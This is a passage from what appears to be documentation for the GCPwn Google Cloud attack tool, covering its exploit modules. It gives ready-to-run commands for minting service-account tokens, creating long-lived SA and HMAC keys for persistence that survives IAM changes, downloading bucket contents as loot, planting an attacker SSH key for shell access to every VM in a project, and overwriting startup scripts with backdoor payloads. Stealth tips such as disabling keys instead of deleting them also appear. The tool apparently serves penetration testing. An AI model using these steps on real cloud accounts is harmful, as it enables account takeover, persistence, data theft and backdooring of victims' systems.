--delegation serviceAccount:chain-start@PROJECT_ID.iam.gserviceaccount.comFind all routes ending at a high-value SA:
modules run exploit_generate_access_token \
--delegation-target projects/PROJECT_ID/serviceAccounts/admin-sa@PROJECT_ID.iam.gserviceaccount.comShow all delegation routes in the cached IAM graph:
modules run exploit_generate_access_token --all-delegationNon-interactive (one-liner):
gcpwn --module exploit_generate_access_token --workspace WORKSPACE_NAME --cred CRED_NAME \
--current-project \
--target-sa projects/PROJECT_ID/serviceAccounts/TARGET_SA_EMAILAfter running enum_gcp --iam, the IAM graph shows that your current SA has roles/iam.serviceAccountTokenCreator on data-pipeline@PROJECT_ID.iam.gserviceaccount.com. Mint a token for it:
modules run exploit_generate_access_token \
--target-sa projects/PROJECT_ID/serviceAccounts/data-pipeline@PROJECT_ID.iam.gserviceaccount.comAdd the returned token as a credential:
creds add data-pipeline --type OAuth2 --token ya29.c.b0XXXXX...Creates, enables, or disables user-managed service account keys via the IAM Admin API.
-
--create— generates a new key for the target SA. Returns a JSON key file that can be used for persistent, offline authentication — not subject to the 1-hour OAuth2 token expiry. With--assume, the key is immediately registered as a new credential in the workspace. -
--enable— reactivates a disabled key (identified by--sa-key). -
--disable— deactivates an existing key without deleting it (useful for stealth overdelete).
-
Create:
iam.serviceAccountKeys.createon the target SA -
Enable/Disable:
iam.serviceAccountKeys.enable/iam.serviceAccountKeys.disableon the target SA
| Flag | Description | Details |
|---|---|---|
--create |
Create a new SA key | Mutually exclusive with --enable / --disable
|
--enable |
Enable an existing SA key | Requires --sa-key. Mutually exclusive with --create / --disable
|
--disable |
Disable an existing SA key | Requires --sa-key. Mutually exclusive with --create / --enable
|
--sa |
Target SA resource name | Format: projects/PID/serviceAccounts/EMAIL. Prompts from cache if omitted |
--sa-key |
Key name/ID for enable/disable operations | |
--assume |
Assume the newly created key as a workspace credential | Only for --create
|
-v, --debug
|
Verbose output |
Interactive (prompts for SA, action):
modules run exploit_service_account_keysCreate a key and assume the credential immediately:
modules run exploit_service_account_keys \
--create \
--sa projects/PROJECT_ID/serviceAccounts/TARGET_SA_EMAIL \
--assumeCreate a key without assuming (save the JSON for later):
modules run exploit_service_account_keys \
--create \
--sa projects/PROJECT_ID/serviceAccounts/TARGET_SA_EMAILDisable a specific key (tamper without deleting):
modules run exploit_service_account_keys \
--disable \
--sa projects/PROJECT_ID/serviceAccounts/TARGET_SA_EMAIL \
--sa-key KEY_IDNon-interactive (one-liner):
gcpwn --module exploit_service_account_keys --workspace WORKSPACE_NAME --cred CRED_NAME \
--current-project \
--create \
--sa projects/PROJECT_ID/serviceAccounts/TARGET_SA_EMAIL \
--assumeYou have iam.serviceAccountKeys.create on admin-sa@PROJECT_ID.iam.gserviceaccount.com. Create a durable key and assume it for future offline use:
modules run exploit_service_account_keys \
--create \
--sa projects/PROJECT_ID/serviceAccounts/admin-sa@PROJECT_ID.iam.gserviceaccount.com \
--assumeThe key JSON is also saved to disk. Even after the session ends, this credential can be used directly with gcloud:
gcloud auth activate-service-account --key-file=key.jsonCreates an HMAC key tied to a service account — a long-lived, AWS SigV4-compatible credential for the GCS XML API. HMAC keys persist independently of IAM changes (they are not revoked when the SA's IAM bindings are removed), making them useful for persistence. The module can also use an existing HMAC key to enumerate bucket names and list/download object contents via the S3-compatible XML API.
-
storage.hmacKeys.createto create a new key - The HMAC key's SA needs
storage.buckets.list/storage.objects.list/storage.objects.getto enumerate and download
| Flag | Description | Details |
|---|---|---|
--sa-email |
SA email to create the HMAC key for | Prompts from cache if omitted. Mutually exclusive with --create (mode flag) |
--create |
Create a new HMAC key | Mutually exclusive with --sa-email (use --sa-email as the create path) |
--access-id |
Existing HMAC access ID to operate with | For listing/downloading without creating a new key. Mutually exclusive with --state
|
--state |
Filter keys by state |
ACTIVE, INACTIVE, DELETED. Mutually exclusive with --access-id
|
--update |
Update an existing key's state | Used together with --access-id and --state
|
--buckets |
List buckets via the XML API using the HMAC key | |
--blobs |
List objects in buckets via the XML API | |
--download |
Download object bytes (loot) | Requires --blobs
|
-v, --debug
|
Verbose output |
Interactive:
modules run exploit_storage_hmacCreate an HMAC key for a target SA and enumerate all buckets and objects:
modules run exploit_storage_hmac \
--sa-email TARGET_SA_EMAIL \
--buckets \
--blobsCreate key, list objects, and download everything:
modules run exploit_storage_hmac \
--sa-email TARGET_SA_EMAIL \
--buckets \
--blobs \
--downloadUse an existing HMAC key to enumerate:
modules run exploit_storage_hmac \
--access-id GOOGXXXXXXXXXXXXXXXXXX \
--buckets \
--blobs \
--downloadNon-interactive (one-liner):
gcpwn --module exploit_storage_hmac --workspace WORKSPACE_NAME --cred CRED_NAME \
--current-project \
--buckets \
--blobs \
--downloadYou have storage.hmacKeys.create on storage-ro@PROJECT_ID.iam.gserviceaccount.com. Create an HMAC key to establish S3-compatible credentials that will survive future IAM changes:
modules run exploit_storage_hmac \
--sa-email storage-ro@PROJECT_ID.iam.gserviceaccount.com \
--buckets --blobs --downloadThe resulting HMAC access-id and hmac-secret can be used directly with AWS-CLI-compatible tools:
aws s3 ls --endpoint-url https://storage.googleapis.com --no-sign-request \
# ... or with configured HMAC credentialsOr feed them back into exploit_bucket_upload with --access-id / --hmac-secret to upload payloads without needing the original IAM credential.
These modules write attacker-controlled data into GCP infrastructure — SSH keys into instance metadata or payloads into GCS buckets.
Adds an attacker SSH public key to Compute Engine metadata to gain SSH shell access. Two placement options:
-
Project-level (
--project-level) — writes the key to the project'sssh-keysmetadata, granting access to every instance in the project (unless a VM hasblock-project-ssh-keys=trueset, or uses OS Login). -
Instance-level (
--instance-level) — writes the key to a single instance's metadata, granting access to only that VM.
Keys are appended to existing metadata by default. The --brute flag overwrites all existing metadata (dangerous — may break other services).
-
Project-level:
compute.projects.setCommonInstanceMetadata -
Instance-level:
compute.instances.setMetadata
| Flag | Description | Details |
|---|---|---|
--instance-name |
Target instance (for instance-level) | Format: projects/PID/zones/ZONE/instances/NAME
|
--project-level |
Add SSH key to project metadata | Grants access to all instances in the project |
--instance-level |
Add SSH key to a specific instance's metadata | Mutually exclusive with --project-level
|
--username |
SSH username associated with the key | The OS user the key unlocks |
--ssh-key |
SSH public key supplied inline (stdin) | Mutually exclusive with --ssh-key-file
|
--ssh-key-file |
Path to SSH public key file | e.g. ~/.ssh/id_ed25519.pub. Mutually exclusive with --ssh-key
|
--brute |
Overwrite ALL existing metadata | WARNING: destructive |
-v, --debug
|
Verbose output |
Interactive (prompts for level, instance, key, username):
modules run exploit_instance_ssh_keysAdd key to a specific instance:
modules run exploit_instance_ssh_keys \
--instance-level \
--instance-name projects/PROJECT_ID/zones/us-central1-a/instances/web-server \
--ssh-key-file ~/.ssh/id_ed25519.pub \
--username attackerAdd key to project metadata (access all instances):
modules run exploit_instance_ssh_keys \
--project-level \
--ssh-key-file ~/.ssh/id_ed25519.pub \
--username attackerNon-interactive (one-liner):
gcpwn --module exploit_instance_ssh_keys --workspace WORKSPACE_NAME --cred CRED_NAME \
--current-project \
--instance-level \
--instance-name projects/PROJECT_ID/zones/us-central1-a/instances/web-1 \
--ssh-key-file ~/.ssh/id_ed25519.pub \
--username attackerSSH in after the key is added:
ssh -i ~/.ssh/id_ed25519 attacker@<EXTERNAL_IP>You hold compute.projects.setCommonInstanceMetadata. Add your key to the project and SSH into any instance:
modules run exploit_instance_ssh_keys --project-level \
--ssh-key-file ~/.ssh/id_ed25519.pub \
--username attackerThen SSH using the external IP of any running VM in the project.
Uses write access to a GCS bucket by uploading an attacker-controlled payload to an arbitrary object path. The canonical use case is overwriting a configuration file or startup script that an application or service later reads — for example, replacing a deployment script in a configuration bucket that a Compute VM pulls at startup. Supports both standard session credentials and HMAC (S3-compatible XML API) authentication.
-
storage.objects.createon the target bucket (to write a new object or overwrite an existing one)
| Flag | Description | Details |
|---|---|---|
--bucket |
Target bucket name (no gs:// prefix) |
Prompts from cached cloudstorage_buckets if omitted |
--remote-blob-path |
Destination object path in the bucket | e.g. configs/startup.sh, deploy/init.py
|
--local-blob-path |
Local file to upload | Mutually exclusive with --data-string-base64
|
--data-string-base64 |
Base64-encoded payload string (decoded on upload) | e.g. dGVzdAo=. Mutually exclusive with --local-blob-path
|
--access-id |
HMAC access ID to authenticate with the XML API | Use together with --hmac-secret
|
--hmac-secret |
HMAC secret key for XML API authentication | Use together with --access-id
|
-v, --debug
|
Verbose output |
If
--local-blob-pathand--data-string-base64are both omitted, the module prompts interactively and lets you enter a local path or a Base64 string at the terminal.
Interactive (prompts for bucket, path, and content):
modules run exploit_bucket_uploadUpload a local payload file:
modules run exploit_bucket_upload \
--bucket victim-configs \
--remote-blob-path deploy/startup.sh \
--local-blob-path ./payload.shInline content via Base64:
modules run exploit_bucket_upload \
--bucket victim-configs \
--remote-blob-path etc/settings.json \
--data-string-base64 eyJhZG1pbiI6IHRydWV9Using an HMAC key (bypasses IAM; uses S3 XML API):
modules run exploit_bucket_upload \
--bucket victim-bucket \
--remote-blob-path backdoor.sh \
--local-blob-path ./backdoor.sh \
--access-id GOOGXXXXXXXXXXXXXXXXXX \
--hmac-secret your-hmac-secret-hereNon-interactive (one-liner with full flags):
gcpwn --module exploit_bucket_upload --workspace WORKSPACE_NAME --cred CRED_NAME \
--current-project \
--bucket victim-configs \
--remote-blob-path deploy/startup.sh \
--local-blob-path ./payload.shYou hold storage.objects.create on a bucket called app-deploy. An App Engine app reads its config/settings.py from that bucket at startup. You can replace it with a version that executes an SSRF or backdoor:
modules run exploit_bucket_upload \
--bucket app-deploy \
--remote-blob-path config/settings.py \
--local-blob-path ./payload_settings.pyTrigger a redeploy of the App Engine service to execute the script.
For the enumeration module catalog see CLI-Module-Reference. For privilege escalation path analysis see IAM-Enumeration-and-Analysis-Workflow. For OpenGraph attack-graph visualization see OpenGraph-Overview-and-Usage.
- Authentication Reference
- Workspace Instructions
- Google Workspace Enumeration
- CLI Module Reference
- Enumeration Module Reference
- Exploit Module Reference
- Downloads to Disk
- Logging & Verbosity
- Data View/Export
- IAM Enumeration and Analysis Workflow
- Troubleshooting and FAQ